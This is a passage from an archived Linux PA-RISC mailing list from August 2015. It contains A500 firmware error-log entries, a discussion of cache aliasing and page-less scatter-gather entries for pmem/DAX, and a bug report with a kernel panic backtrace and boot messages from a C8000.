SOURCE DETAIL: 0 = unknown, no source stated   SOURCE ID: FF
PROBLEM DETAIL: 0 = no problem detail

CALLER ACTIVITY: 6 = machine check   STATUS: 2
CALLER SUBACTIVITY: 40 = implementation dependent
REPORTING ENTITY TYPE: 0 = system firmware   REPORTING ENTITY ID: 00

0x0000002000FF6402 00000000 00000000 type  0 = Data Field Unused
0x5800082000FF6402 00007307 0E052411 type 11 = Timestamp 08/14/2015 05:36:17


Log Entry #   7 :
SYSTEM NAME: a500-m
DATE: 08/14/2015 TIME: 05:36:17
ALERT LEVEL: 2 = Non-Urgent operator attention required

SOURCE: 0 = unknown, no source stated
SOURCE DETAIL: 0 = unknown, no source stated   SOURCE ID: FF
PROBLEM DETAIL: 0 = no problem detail

CALLER ACTIVITY: 6 = machine check   STATUS: 2
CALLER SUBACTIVITY: 45 = implementation dependent
REPORTING ENTITY TYPE: 0 = system firmware   REPORTING ENTITY ID: 00

0x0000002000FF6452 00000000 00000000 type  0 = Data Field Unused
0x5800082000FF6452 00007307 0E052411 type 11 = Timestamp 08/14/2015 05:36:17


Log Entry #   8 :
SYSTEM NAME: a500-m
DATE: 08/14/2015 TIME: 05:36:15
ALERT LEVEL: 2 = Non-Urgent operator attention required

SOURCE: 7 = memory
SOURCE DETAIL: 9 = unexpected   SOURCE ID: 0
PROBLEM DETAIL: 3 = unexpected

CALLER ACTIVITY: 6 = machine check   STATUS: 3
CALLER SUBACTIVITY: 13 = implementation dependent
REPORTING ENTITY TYPE: 0 = system firmware   REPORTING ENTITY ID: 00

0x7000002379006133 C1BFF0FF FED08040 type 14 = Problem Detail
0x5800082379006133 00007307 0E05240F type 11 = Timestamp 08/14/2015 05:36:15


Log Entry #   9 :
SYSTEM NAME: a500-m
DATE: 08/14/2015 TIME: 05:36:15
ALERT LEVEL: 2 = Non-Urgent operator attention required

SOURCE: 7 = memory
SOURCE DETAIL: 0 = unknown, no source stated   SOURCE ID: 0
PROBLEM DETAIL: 0 = no problem detail

CALLER ACTIVITY: 6 = machine check   STATUS: 2
CALLER SUBACTIVITY: 08 = implementation dependent
REPORTING ENTITY TYPE: 0 = system firmware   REPORTING ENTITY ID: 00

0x7000002070006082 00000000 00B92400 type 14 = Problem Detail
0x5800082070006082 00007307 0E05240F type 11 = Timestamp 08/14/2015 05:36:15


Log Entry #  10 :
SYSTEM NAME: a500-m
DATE: 08/14/2015 TIME: 05:36:15
ALERT LEVEL: 2 = Non-Urgent operator attention required

SOURCE: 7 = memory
SOURCE DETAIL: 0 = unknown, no source stated   SOURCE ID: 0
PROBLEM DETAIL: 0 = no problem detail

CALLER ACTIVITY: 6 = machine check   STATUS: 2
CALLER SUBACTIVITY: 06 = implementation dependent
REPORTING ENTITY TYPE: 0 = system firmware   REPORTING ENTITY ID: 00

0x6000002070006062 00000000 00100010 type 12 = Device Status
0x5800082070006062 00007307 0E05240F type 11 = Timestamp 08/14/2015 05:36:15


Log Entry #  11 :
SYSTEM NAME: a500-m
DATE: 08/14/2015 TIME: 05:36:14
ALERT LEVEL: 7 = reserved

SOURCE: 0 = unknown, no source stated
SOURCE DETAIL: 0 = unknown, no source stated   SOURCE ID: FF
PROBLEM DETAIL: 0 = no problem detail

CALLER ACTIVITY: 6 = machine check   STATUS: 2
CALLER SUBACTIVITY: 29 = implementation dependent
REPORTING ENTITY TYPE: 0 = system firmware   REPORTING ENTITY ID: 00

0x0000007000FF6292 00000000 00000000 type  0 = Data Field Unused
0x5800087000FF6292 00007307 0E05240E type 11 = Timestamp 08/14/2015 05:36:14


Log Entry #  12 :
SYSTEM NAME: a500-m
DATE: 08/14/2015 TIME: 05:36:14
ALERT LEVEL: 2 = Non-Urgent operator attention required

SOURCE: 1 = processor
SOURCE DETAIL: 1 = processor general   SOURCE ID: 0
PROBLEM DETAIL: 0 = no problem detail

CALLER ACTIVITY: 6 = machine check   STATUS: 2
CALLER SUBACTIVITY: 31 = implementation dependent
REPORTING ENTITY TYPE: 0 = system firmware   REPORTING ENTITY ID: 00

0x1800002011006312 CB810000 00000000 type  3 = Actual Data
0x5800082011006312 00007307 0E05240E type 11 = Timestamp 08/14/2015 05:36:14


Log Entry #  13 :
SYSTEM NAME: a500-m
DATE: 08/14/2015 TIME: 05:36:14
ALERT LEVEL: 2 = Non-Urgent operator attention required

SOURCE: 0 = unknown, no source stated
SOURCE DETAIL: 0 = unknown, no source stated   SOURCE ID: FF
PROBLEM DETAIL: 0 = no problem detail

CALLER ACTIVITY: 6 = machine check   STATUS: 2
CALLER SUBACTIVITY: 24 = implementation dependent
REPORTING ENTITY TYPE: 0 = system firmware   REPORTING ENTITY ID: 00

0x0000002000FF6242 00000000 00000000 type  0 = Data Field Unused
0x5800082000FF6242 00007307 0E05240E type 11 = Timestamp 08/14/2015 05:36:14




-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: A500 boot crash in 4.2.0-rc3-00246-g763e326
Date: Fri, 14 Aug 2015 07:29:51 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <BLU436-SMTP151D1B8F44C39AC7AC1E37A977C0@phx.gbl>
References: <alpine.LRH.2.11.1507260929000.30065@math.ut.ee> <BLU437-SMTP22FDC655D41AF9BCB78508977D0@phx.gbl> <alpine.LRH.2.20.1508140922300.2428@math.ut.ee>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1439551806 4743 80.91.229.3 (14 Aug 2015 11:30:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 14 Aug 2015 11:30:06 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 14 13:29:59 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZQDBM-0000Cl-0S
	for glpp-linux-parisc@plane.gmane.org; Fri, 14 Aug 2015 13:29:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754179AbbHNL3z (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 14 Aug 2015 07:29:55 -0400
Original-Received: from blu004-omc4s1.hotmail.com ([65.55.111.140]:50836 "EHLO
	BLU004-OMC4S1.hotmail.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754093AbbHNL3z convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 14 Aug 2015 07:29:55 -0400
Original-Received: from BLU436-SMTP151 ([65.55.111.137]) by BLU004-OMC4S1.hotmail.com over TLS secured channel with Microsoft SMTPSVC(7.5.7601.23008);
	 Fri, 14 Aug 2015 04:29:53 -0700
X-TMN: [SMzBv0jVbAXIbRvqIIT42EI+9nwceHNH]
X-Originating-Email: [dave.anglin@bell.net]
In-Reply-To: <alpine.LRH.2.20.1508140922300.2428@math.ut.ee>
X-Mailer: Apple Mail (2.1085)
X-OriginalArrivalTime: 14 Aug 2015 11:29:52.0957 (UTC) FILETIME=[89CB3ED0:01D0D684]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25959
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25959>

On 2015-08-14, at 2:35 AM, Meelis Roos wrote:

> SL errors from last boot that failed are below - how can I decode it 
> further, I find no addresses here? All these errors only happen on 
> problematic boot, none of these happen on 4.1.0 boot.

It's some time since I looked at an A500 long.  On rp3440, there is a text, "T', mode that's
easier for humans.  I usually go to the end of the long with 'L' first.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dan Williams <dan.j.williams-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>
Newsgroups: gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.drivers.video-input-infrastructure,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 29/31] parisc: handle page-less SG entries
Date: Fri, 14 Aug 2015 09:17:45 -0700
Lines: 34
Approved: news@gmane.org
Message-ID: <CAPcyv4idztwrtr5wBQkiTSNT8L3HWf8zk9webheQAmunLD7cBw@mail.gmail.com>
References: <20150813143150.GA17183@lst.de>
	<CAA9_cmcNA__N_yVTKsEqLAKBuoL-hx73t6opdsmb7w-0qKXaWg@mail.gmail.com>
	<1439524760.8421.23.camel@HansenPartnership.com>
	<20150813.211155.1774898831276303437.davem@davemloft.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1439569082 28713 80.91.229.3 (14 Aug 2015 16:18:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 14 Aug 2015 16:18:02 +0000 (UTC)
Cc: Jej B <James.Bottomley-JuX6DAaQMKPCXq6kfMZ53/egYHeGw8Jk@public.gmane.org>,
	Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>,
	"torvalds-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org" <torvalds-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>,
	linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-nvdimm <linux-nvdimm-y27Ovi1pjclAfugRpC6u6w@public.gmane.org>, dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, egtvedt-BrfabpQBY5qlHtIdYg32fQ@public.gmane.org,
	linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	X86 ML <x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>, David Woodhouse <dwmw2-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org>,
	hskinnemoen-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	grundler-6jwH94ZQLHl74goWV3ctuw@public.gmane.org, realmz6-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
	alex.williamson-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Jens Axboe <axboe-tSWWG44O7X1aa/9Udqfwiw@public.gmane.org>, Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, vgupta-HKixBCOQz3hWk0Htik3J/w@public.gmane.org,
	"linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-media-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linuxppc-dev <linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org>
To: David Miller <davem-fT/PcQaiUtIeIZ0/mPfg9Q@public.gmane.org>
Original-X-From: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Fri Aug 14 18:17:55 2015
Return-path: <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1ZQHfx-00043R-6z
	for glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Fri, 14 Aug 2015 18:17:49 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1755450AbbHNQRs (ORCPT <rfc822;glkm-linux-metag@m.gmane.org>);
	Fri, 14 Aug 2015 12:17:48 -0400
Original-Received: from mail-wi0-f179.google.com ([209.85.212.179]:36932 "EHLO
	mail-wi0-f179.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755352AbbHNQRq (ORCPT
	<rfc822;linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Fri, 14 Aug 2015 12:17:46 -0400
Original-Received: by wibhh20 with SMTP id hh20so26181932wib.0
        for <linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>; Fri, 14 Aug 2015 09:17:45 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc:content-type;
        bh=o6NDt3QsPNeeIa6eBBGWwEhoGPRTlpza83UIE1Lk27s=;
        b=JAmbUaFP6CP8wJfvUasmn7/RZllGvG46Dtfi0ewvZH/8l9Fz98hLbpLuHve2WhGZjf
         UwG7M/IVIXb3klExISup88iJIfgITV6OP7AdpjUZLCOjkOX+vQtlUQGkm/EYzL6PL7ui
         IRfQhqJNuL7jiSASwCOd06IbunA4lDdaCeEsX4TepJhCh63lJvmqkbM7zUR4V7qy5Hr/
         ZSNKlyMoJKjpm/j8nahkwx+pvFIhCg1zxVB7Bo+Z5GG9VbGMUX7Ot3iPrm5BXFqMPCBJ
         /j//zYpHiW4GffVFCygQfusInDTlCXo3InaPDeN6Jn4kAY7/OG7ojO3ZcDgUnIeNQ4bj
         wQ4Q==
X-Gm-Message-State: ALoCoQkC/S4BIF2Qk3sfAPdqLGcUzKU07DfQ/9MJxybmTgVuVX8Md3+VLaeLu+bQct6uFt9CwMmj
X-Received: by 10.180.86.137 with SMTP id p9mr8506119wiz.38.1439569065569;
 Fri, 14 Aug 2015 09:17:45 -0700 (PDT)
Original-Received: by 10.27.127.196 with HTTP; Fri, 14 Aug 2015 09:17:45 -0700 (PDT)
In-Reply-To: <20150813.211155.1774898831276303437.davem-fT/PcQaiUtIeIZ0/mPfg9Q@public.gmane.org>
Original-Sender: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-metag.vger.kernel.org>
X-Mailing-List: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.metag:635 gmane.linux.ports.mips.general:50047 gmane.linux.ports.ia64:25739 gmane.linux.ports.sparc:21465 gmane.linux.kernel.cross-arch:28903 gmane.linux.ports.parisc:25960 gmane.linux.kernel:2020472 gmane.linux.ports.alpha:3336 gmane.linux.drivers.video-input-infrastructure:94064 gmane.linux.ports.ppc64.devel:116959
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.metag/635>

On Thu, Aug 13, 2015 at 9:11 PM, David Miller <davem-fT/PcQaiUtIeIZ0/mPfg9Q@public.gmane.org> wrote:
> From: James Bottomley <James.Bottomley-d9PhHud1JfjCXq6kfMZ53/egYHeGw8Jk@public.gmane.org>
>> At least on some PA architectures, you have to be very careful.
>> Improperly managed, multiple aliases will cause the system to crash
>> (actually a machine check in the cache chequerboard). For the most
>> temperamental systems, we need the cache line flushed and the alias
>> mapping ejected from the TLB cache before we access the same page at an
>> inequivalent alias.
>
> Also, I want to mention that on sparc64 we manage the cache aliasing
> state in the page struct.
>
> Until a page is mapped into userspace, we just record the most recent
> cpu to store into that page with kernel side mappings.  Once the page
> ends up being mapped or the cpu doing kernel side stores changes, we
> actually perform the cache flush.
>
> Generally speaking, I think that all actual physical memory the kernel
> operates on should have a struct page backing it.  So this whole
> discussion of operating on physical memory in scatter lists without
> backing page structs feels really foreign to me.

So the only way for page-less pfns to enter the system is through the
->direct_access() method provided by a pmem device's struct
block_device_operations.  Architectures that require struct page for
cache management to must disable ->direct_access() in this case.

If an arch still wants to support pmem+DAX then it needs something
like this patchset (feedback welcome) to map pmem pfns:

https://lkml.org/lkml/2015/8/12/970

Effectively this would disable ->direct_access() on /dev/pmem0, but
permit ->direct_access() on /dev/pmem0m.

From - Thu Nov 08 21:37:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Graham Gower <graham.gower@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: bad address in handle_percpu_irq
Date: Sun, 16 Aug 2015 16:14:14 +0930
Lines: 490
Approved: news@gmane.org
Message-ID: <55D0313E.3090602@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1439707477 14394 80.91.229.3 (16 Aug 2015 06:44:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 16 Aug 2015 06:44:37 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 16 08:44:27 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZQrgA-0000Ks-3w
	for glpp-linux-parisc@plane.gmane.org; Sun, 16 Aug 2015 08:44:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750820AbbHPGoW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 16 Aug 2015 02:44:22 -0400
Original-Received: from mail-pa0-f48.google.com ([209.85.220.48]:35930 "EHLO
	mail-pa0-f48.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750791AbbHPGoT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 16 Aug 2015 02:44:19 -0400
Original-Received: by pacum4 with SMTP id um4so734931pac.3
        for <linux-parisc@vger.kernel.org>; Sat, 15 Aug 2015 23:44:19 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=to:from:subject:message-id:date:user-agent:mime-version
         :content-type:content-transfer-encoding;
        bh=1PfMb5zUtfQahn7HredCHaNjCd+SjeWPIdPkw6XoAYM=;
        b=rAi0Wrdd0jivYTcqvDZkGDdtMCRWHKwSs6yQQLlUNZvZ9bgzV1lksca+xShUwZOPZr
         G+BZnmlzvfYFe0kNzBFJAd1DOBB4VJIBHZrllSwPVITPum1kQfYM5wDSTXuBbOBYg2JP
         wp5akjRDV1Mvaimbt097zaVG5gjNdSMD6ru307rRRvwkxRikz2McUzy6zS/zG4QIgAlc
         olLNWCCJNCRbNQmIGt67dxUlACLPQsG304htwYRKQ/ItKzDNwTVxtzITKfa6tMQ1/4QS
         v6CHKrm25ZaTF0QxHEAg7c5DyZFJMq4UrhH8gGhKy5ARC8DrFXRJ91cJ3REhJqkg2uuC
         fLBQ==
X-Received: by 10.66.175.7 with SMTP id bw7mr99554222pac.155.1439707459331;
        Sat, 15 Aug 2015 23:44:19 -0700 (PDT)
Original-Received: from [10.1.1.100] (d175-38-210-241.adl800.sa.optusnet.com.au. [175.38.210.241])
        by smtp.gmail.com with ESMTPSA id qn6sm10542542pbc.22.2015.08.15.23.44.16
        for <linux-parisc@vger.kernel.org>
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Sat, 15 Aug 2015 23:44:18 -0700 (PDT)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Icedove/38.1.0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25961
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25961>

Hi,

I'm seeing the panic below on a c8000. It happens sometimes when booting, just
before the login prompt is to appear. I've seen it with older kernels too, going
back to at least 3.19.

-Graham


[   62.596000] Backtrace:
[   62.596000]  [<00000000401fdb60>] handle_percpu_irq+0xb0/0xf0
[   62.596000]  [<00000000401f7894>] generic_handle_irq+0x4c/0x68
[   62.596000]  [<0000000040177670>] execute_on_irq_stack+0x90/0xa8
[   62.596000]  [<0000000040178574>] do_cpu_irq_mask+0x1ec/0x3e0
[   62.596000]  [<0000000040164074>] intr_return+0x0/0xc
[   62.596000]
[   62.596000]
[   62.596000] Bad Address (null pointer deref?): Code=26 regs=0000000042a0a070 (Addr=0000000000000000)
[   62.596000] CPU: 0 PID: 444 Comm: (agetty) Not tainted 4.1.0-1-parisc64-smp #1 Debian 4.1.3-1
[   62.596000] task: 000000007a9a7538 ti: 000000007dc38000 task.ti: 000000007dc38000
[   62.596000]
[   62.596000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[   62.596000] PSW: 00001000000001001111111100001110 Not tainted
[   62.596000] r00-03  000000ff0804ff0e 00000000408b8f30 00000000401fdb60 0000000042a09f80
[   62.596000] r04-07  000000004089ff30 0000000000000000 0000000000000000 0000000000000000
[   62.596000] r08-11  0000000042a0a040 000000000000004c 0000000040932d40 000000000000004c
[   62.596000] r12-15  000000000000004c 0000000000000001 00000000408d4f30 0000000000000001
[   62.596000] r16-19  00000000408b8f30 00000000408b8f30 0000000000000202 00000000028b3000
[   62.596000] r20-23  0000000042a0d020 bff7ffffffffffff 0000000040948420 fffc000000000000
[   62.596000] r24-27  0000000042a099d0 0000000000000000 0000000040932d40 000000004089ff30
[   62.596000] r28-31  0008000000000000 0000000042a09f50 0000000042a0a070 bff4000000000000
[   62.596000] sr00-03  000000000013f800 0000000000000000 0000000000000000 000000000013b000
[   62.596000] sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
[   62.596000]
[   62.596000] IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000401f861c 00000000401f8620
[   62.596000]  IIR: 0ca010dc    ISR: 0000000000000000  IOR: 0000000000000000
[   62.596000]  CPU:        0   CR30: 000000007dc38000 CR31: ffffffffdbfeffff
[   62.596000]  ORIG_R28: 0000000040948420
[   62.596000]  IAOQ[0]: handle_irq_event_percpu+0x8c/0x250
[   62.596000]  IAOQ[1]: handle_irq_event_percpu+0x90/0x250
[   62.596000]  RP(r2): handle_percpu_irq+0xb0/0xf0
[   62.596000] Backtrace:
[   62.596000]  [<00000000401fdb60>] handle_percpu_irq+0xb0/0xf0
[   62.596000]  [<00000000401f7894>] generic_handle_irq+0x4c/0x68
[   62.596000]  [<0000000040177670>] execute_on_irq_stack+0x90/0xa8
[   62.596000]  [<0000000040178574>] do_cpu_irq_mask+0x1ec/0x3e0
[   62.596000]  [<0000000040164074>] intr_return+0x0/0xc
[   62.596000]
<Cpu0> 0300109100e00000  0000000000000000  CC_PROCS_ENTRY_OUT
[   62.596000] Kernel panic - not syncing: Bad Address (null pointer deref?)
<Cpu0> 78000c6200e00000  a0e008c01100b009  CC_PAT_ENCODED_FIELD_WARNING
<Cpu0> 76000c6800e00000  0000000000000520  CC_PAT_DATA_FIELD_WARNING
<Cpu0> 0300109100e00000  0000000000000000  CC_PROCS_ENTRY_OUT
[   62.596000] ---[ end Kernel panic - not syncing: Bad Address (null pointer deref?)


Full dmesg from a successful boot.

[    0.000000] Initializing cgroup subsys cpuset
[    0.000000] Initializing cgroup subsys cpu
[    0.000000] Initializing cgroup subsys cpuacct
[    0.000000] Linux version 4.1.0-1-parisc64-smp (debian-kernel@lists.debian.org) (gcc version 4.9.3 (GCC) ) #1 SMP Debian 4.1.3-1 (2015-08-03)
[    0.000000] unwind_init: start = 0x408d6650, end = 0x4091f6c0, entries = 18695
[    0.000000] FP[0] enabled: Rev 1 Model 20
[    0.000000] The 64-bit Kernel has started...
[    0.000000] Default page size is 4KB.
[    0.000000] bootconsole [ttyB0] enabled
[    0.000000] Initialized PDC Console for debugging.
[    0.000000] Determining PDC firmware type: 64 bit PAT.
[    0.000000] model 000088a0 00000491 00000000 00000002 567eef09b2675bcf 100000f0 00000008 000000b2 000000b2
[    0.000000] vers  00000301
[    0.000000] CPUID vers 20 rev 4 (0x00000284)
[    0.000000] capabilities 0x35
[    0.000000] model 9000/785/C8000
[    0.000000] parisc_cache_init: Only equivalent aliasing supported!
[    0.000000] Memory Ranges:
[    0.000000]  0) Start 0x0000000000000000 End 0x000000003fffffff Size   1024 MB
[    0.000000]  1) Start 0x0000000100000000 End 0x00000001ffdfffff Size   4094 MB
[    0.000000]  2) Start 0x0000004040000000 End 0x00000040ffffffff Size   3072 MB
[    0.000000] Total Memory: 8190 MB
[    0.000000] initrd: 7eee8000-7ffedc68
[    0.000000] initrd: reserving 3eee8000-3ffedc68 (mem_max 1ffe00000)
[    0.000000] On node 0 totalpages: 262144
[    0.000000] free_area_init_node: node 0, pgdat 40936a40, node_mem_map 41a00000
[    0.000000]   Normal zone: 4096 pages used for memmap
[    0.000000]   Normal zone: 0 pages reserved
[    0.000000]   Normal zone: 262144 pages, LIFO batch:31
[    0.000000] On node 1 totalpages: 1048064
[    0.000000] free_area_init_node: node 1, pgdat 40937800, node_mem_map 140000000
[    0.000000]   Normal zone: 16376 pages used for memmap
[    0.000000]   Normal zone: 0 pages reserved
[    0.000000]   Normal zone: 1048064 pages, LIFO batch:31
[    0.000000] On node 2 totalpages: 786432
[    0.000000] free_area_init_node: node 2, pgdat 409385c0, node_mem_map 4080000000
[    0.000000]   Normal zone: 12288 pages used for memmap
[    0.000000]   Normal zone: 0 pages reserved
[    0.000000]   Normal zone: 786432 pages, LIFO batch:31
[    0.000000] PERCPU: Embedded 19 pages/cpu @0000000042a09000 s37632 r8192 d32000 u77824
[    0.000000] pcpu-alloc: s37632 r8192 d32000 u77824 alloc=19*4096
[    0.000000] pcpu-alloc: [0] 0 [0] 1 [0] 2 [0] 3 [0] 4 [0] 5 [0] 6 [0] 7 
[    0.000000] SMP: bootstrap CPU ID is 0
[    0.000000] Built 3 zonelists in Zone order, mobility grouping on.  Total pages: 2063880
[    0.000000] Kernel command line: root=UUID=47254bb5-1fd8-4d2f-9940-c0507cb05fa5 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux
[    0.000000] PID hash table entries: 4096 (order: 3, 32768 bytes)
[    0.000000] Dentry cache hash table entries: 1048576 (order: 11, 8388608 bytes)
[    0.000000] Inode-cache hash table entries: 524288 (order: 10, 4194304 bytes)
[    0.000000] Sorting __ex_table...
[    0.000000] Memory: 8198520K/8386560K available (5760K kernel code, 1872K rwdata, 1167K rodata, 384K init, 671K bss, 188040K reserved, 0K cma-reserved)
[    0.000000] virtual kernel memory layout:
    vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)
    memory  : 0x0000000040000000 - 0x0000004140000000   (266240 MB)
      .init : 0x0000000040100000 - 0x0000000040160000   ( 384 kB)
      .data : 0x0000000040700000 - 0x00000000409f81f0   (3040 kB)
      .text : 0x0000000040160000 - 0x0000000040700000   (5760 kB)
[    0.000000] Hierarchical RCU implementation.
[    0.000000] 	CONFIG_RCU_FANOUT set to non-default value of 32
[    0.000000] NR_IRQS:128
[    0.000000] clocksource cr16: mask: 0xffffffffffffffff max_cycles: 0xcf914c9718, max_idle_ns: 440795231327 ns
[    0.128000] Console: colour dummy device 160x64
[    0.188000] Calibrating delay loop... 1795.07 BogoMIPS (lpj=3590144)
[    0.296000] pid_max: default: 32768 minimum: 301
[    0.356000] Security Framework initialized
[    0.408000] AppArmor: AppArmor disabled by boot time parameter
[    0.488000] Yama: disabled by default; enable with sysctl kernel.yama.*
[    0.576000] Mount-cache hash table entries: 16384 (order: 5, 131072 bytes)
[    0.664000] Mountpoint-cache hash table entries: 16384 (order: 5, 131072 bytes)
[    0.764000] Initializing cgroup subsys blkio
[    0.820000] Initializing cgroup subsys memory
[    0.876000] Initializing cgroup subsys devices
[    0.936000] Initializing cgroup subsys freezer
[    0.992000] Initializing cgroup subsys net_cls
[    1.052000] Initializing cgroup subsys perf_event
[    1.112000] Initializing cgroup subsys net_prio
[    1.176000] Brought up 1 CPUs
[    1.216000] devtmpfs: initialized
